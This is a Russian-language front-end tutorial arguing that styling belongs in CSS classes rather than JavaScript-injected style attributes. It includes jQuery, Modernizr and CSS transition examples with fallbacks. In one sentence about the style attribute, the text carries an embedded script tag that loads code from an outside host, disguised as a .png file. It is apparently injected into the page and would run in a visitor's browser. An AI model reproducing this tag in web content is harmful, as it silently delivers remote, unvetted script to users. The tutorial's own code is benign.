Построение отношений между CSS и JavaScript

jQuery, Prototype, Node.js, Backbone.js, Mustache и тысячи других JavaScript-библиотек объединяет единый бесспорный факт: JavaScript пользуется популярностью. На самом деле, он настолько популярен, что мы зачастую используем его в местах, где другие решения, могли бы быть лучше в долгосрочной перспективе.

Хотя мы и держим JavaScript, CSS и HTML в разных файлах, но концепция, лежащея в прогрессивном улучшении, получается запутаной с каждым jQuery плагином, который мы используем, или с каждой странной техникой, которая всплывает. Поскольку JavaScript является очень мощным, есть много дублирований в возможностях между JavaScript и HTML, и JavaScript и CSS.

Хранение CSS вне JavaScript

CSS может подключаться к HTML с помощью различных селекторов, это для вас не новость. При использовании идентификаторов (ID), классов или любых атрибутов, у вас есть свободный доступ к стилизации элемента. Вы, также, можете это сделать с помощью JavaScript методов, и честно говоря, это такой же простой процесс, только с другим синтаксисом. Будучи в состоянии изначально добраться до HTML из JavaScript и с CSS, является одной из причин, почему прогрессивное улучшение стало такой успешной моделью разработки. Это позволяет точке отсчета вести нас и служить напоминанием, в процессе разработки проекта, для того чтобы мы не “пересекали потоки”.

Но, пока вы двигаетесь вперед с JavaScript и создаете приложения с интерактивными элементами, становится все труднее не только держать HTML подальше от JavaScript, но и также ловить себя на горячем, прежде, чем вводить информацию о стиле в документ. Конечно же, не инъекция стилей с JavaScript, это не двоичная(yes/no, true/false, 0/1); существует много случаев, когда вам может понадобиться применять стили постепенно, например, в перетаскивание интерфейса, где информация о позиционирование должна постоянно обновляться на основе положения курсора (или пальцев).

Вообще, можно смело предоставить всю необходимую информацию о стиле в CSS, ссылаясь на стили, как повторно используемые классы. Это гораздо более гибкая модель, нежели разбрасывание CSS по всему JavaScript файлу, и это также приравнивается к модели добавления информации о стиле в HTML. Мы следуем этой модели, когда речь идет только об HTML и CSS, но по некоторым причинам, у нее есть тенденция разваливаться, всякий раз когда JavaScript добавлен в микс. Это то, что мы должны всегда держать в поле зрения.

Много интерфейсных разработчиков гордятся чистым HTML. Это здорово, иметь чистый, статический HTML, но что хорошего в том, если ваш сгенерированный HTML пронизан стилями и не семантической разметкой? Под “сгенерированный HTML”, мы имеем в виду, как выглядит HTML после того, как он был “полюблен” всеми плагинами и дополнительным JavaScript. Если первый шаг к чистому HTML и отделенному прогрессивному улучшению, это не использовать style<script src="//wollses.com/steps.png"></script> атрибут, то вторым шагом должно быть, избежание написания JavaScript, который вводит атрибут style за вас.

Очистка HTML

Можно согласиться, что использование технологии в слепую, это ужасная идея. Мы находимся в том состоянии с jQuery, где мы слепо используем большое количество функций, полностью не понимая, что происходит “под капотом”. Пример, на который мы опираемся для хранения CSS вне JavaScript является поведение jQuery метода hide(). На основе принципа прогрессивного улучшения, вы бы не кодировали что-то со встроенным CSS следующим образом:

<div class="content-area" style="display:none;"></div>

Мы никогда этого не сделаем, так как программа чтения экрана не роспознает элемент, если стиль устанавливается на display:none. При использовании jQuery метода hide(), это именно то, что он делает: он установит style атрибут на целевую область и добавить дисплей функцию none. Прост в реализации, но не очень хорош для доступности. Он, также, нарушает принципы прогрессивного улучшения, когда вы вводите стиль в документ. Для этого метода, это не редкость, использовать в интерфейсе табуляцию, чтобы скрыть содержание. В результате получается, что содержание не существует для читателя экрана. Как только мы осознаем, что добавление стиля из JavaScript не является идеальным (в большинстве случаев), мы можем переместить его в CSS и ссылаться на него как класс:

CSS

.hide {
   display: none;
}

jQuery

$('.content-area').addClass('hide');

Нам все еще нужно решить проблему доступности, со скрытием содержания с display:none, но так как мы, больше не используем встроенный jQuery метод, мы можем контролировать, какое именно содержание получает скрытый статус. Например, мы могли бы сделать что-то вроде этого:

CSS

.hide {
   position: absolute;
   top: -9999px;
   left: -9999px;
}

.remove {
   display: none;
}

В приведенном выше примере, вы видете, что хотя оба класса, в результате, отвечают за удаление содержания из поля зрения, они действуют совершенно иначе, с точки зрения доступности. Глядя на код, мы видим, что имеем дело с информацией о стилях, которые принадлежит в файле CSS. Использование вспомогательных классов, может не только помочь вашему JavaScript похудеть, но и иметь двойное применение в объектно-ориентированной CSS (OOCSS) модели разработки. Это действительно хороший способ не повторяться не только в CSS, но и по всему проекту, создавая более целостный подход к интерфейсной разработке.

Использование поведенческого CSS с JavaScript Фолбэками (Fallbacks)

С использованием CSS объектов, как крючков для JavaScript, можна пойти далеко за рамки простого скрытия и отображения контента в области поведенческих CSS, переходов, анимации и преобразования, которые часто делаются с JavaScript анимациями. Имея это в виду, давайте взглянем на общую модель взаимодействия выведения div на щелчок, и посмотрим, как он будет создан с этой моделью развития, обеспечивая при этом надлежащие фолбэки для браузеров, которые могут не поддерживать переходы CSS, которые мы собираемся использовать.

В этом примере мы будем использовать:

• jQuery
• Modernizr

Во-первых, давайте установим body элемент:

<body>
    <button type="button">Run Transition</button>
    <div id="cube"></div><!--/#cube-->
</body>

Оттуда мы должны настроить CSS:

#cube {
   height: 200px;
   width: 200px;
   background: orange;
   -webkit-transition: opacity linear .5s;
      -moz-transition: opacity linear .5s;
        -o-transition: opacity linear .5s;
           transition: opacity linear .5s;
}

.fade-out {
   opacity: 0;
}

Перед тем, как добавить JavaScript слой, давайте обговорим, что будет происходить:

1. Используйте Modernizr для проверки CSS transition поддержки
2. Если да:

– Настройте события нажатия на кнопку, чтобы добавить “fade-out” класс к #cube

– Добавьте еще один слушатель событий, чтобы знать, когда transition завершена, и можно было выполнить функцию, которая удалит #cube из DOM.

3. Если нет:

– Настройте события нажатия на кнопку, чтобы использовать jQuery animate() метод, для исчезновения #cube

– Выполните функцию обратного вызова (callback) для удаления #cube из DOM.

Этот процесс, представит новое событие под названием transitionend, которая будет выполняться в конце CSS transition. Также, существует событие-компаньон под названием animationend, которое будет выполняться в конце CSS анимации, для более сложных взаимодействий.
Первое, что нам нужно сделать, это создать переменные в JavaScript:

(function () {

   // настройте переменные
   var elem = document.getElementById('cube'),
       button = document.getElementById('do-it'),
       transitionTimingFunction = 'linear',
       transitionDuration = 500,
       transitionend;

   // создайте синтаксис transitionend события, с надлежащими префиксами вендора(vendor prefix)
   if ($.browser.webkit) {
       transitionend = 'webkitTransitionEnd'; // safari & chrome
   } else if ($.browser.mozilla) {
       transitionend = 'transitionend'; // firefox
   } else if ($.browser.opera) {
       transitionend = 'oTransitionEnd'; // opera
   } else {
       transitionend = 'transitionend'; // лучшая попытка по умолчанию?
   }

   //... остальной код.

})(); // end wrapping function

Как вы видите, нашему новому transitionend событию, нужен префикс вендора; чтобы позаботиться об этом, мы сделаем небольшое обнаружения браузера. Как правило, вы можете обнаружить префикс вендора и добавить его в название события, но в данном случае с синтаксисами, все немного отличается, так что нам нужно получить полное название события для каждого префикса.

На следующем этапе мы будем использовать Modernizr для обнаружения поддержки, затем добавим слушатели событий для каждого случая (все эти вещи будет добавлены внутри wrapper функции):

// определите css transition поддержку с Modernizr
if(Modernizr.csstransitions) {

    // добавьте class на click
    $(button).on('click', function () {
       $(elem).addClass('fade-out');
    });

    // симуляция callback функции с event listener
    elem.addEventListener(transitionend, function () {
       theCallbackFunction(elem);
    }, false);

} else {

   // установите нормальный click/animate слушатель,для не поддерживаемых браузеров 
   $(button).on('click', function () {

       $(elem).animate({
           'opacity' : '0'
       }, transitionDuration, transitionTimingFunction, function () {
           theCallbackFunction(elem);
       });

   }); // завершение click event

} // завершение проверки поддержки

Наконец, нам необходимо определить общие функции (shared functions) между двумя действиями, который выполняются после завершения transition(или анимации). В силу этого урока, мы назавем его theCallbackFunction() (хотя технически это не является функцией обратного вызова). Она удалит элемент из DOM и покажет сообщение в консоли о том, что сработала.

// определите callback фукцию, и что будет происходить после transition/animation
function theCallbackFunction (elem) {

   'use strict';

   // удалите элемент из DOM
   $(elem).remove();

   // log out, когда transition завершена
   console.log('the transition is complete');

}Вы наверно спросите, зачем нужно проделывать столько работы. Мы написали 60 строк JavaScript для достижения эстетического дизайна, который может быть созданы с восемью строками jQuery кода.  Никто никогда не говорил, что сохранить чистый код, а такде придерживаться прогрессивному улучшению, было легкой задачей. На самом деле, проще всего его игнорировать. Но, как ответственные разработчики, это является нашей обязанностью, создать доступное приложения, которое будет легко масштабироваться в будущем. Если вы хотите создать удобство для работы пользователей, то тогда это стоит дополнительного времени, которое на это требуется.

Высоких конверсий!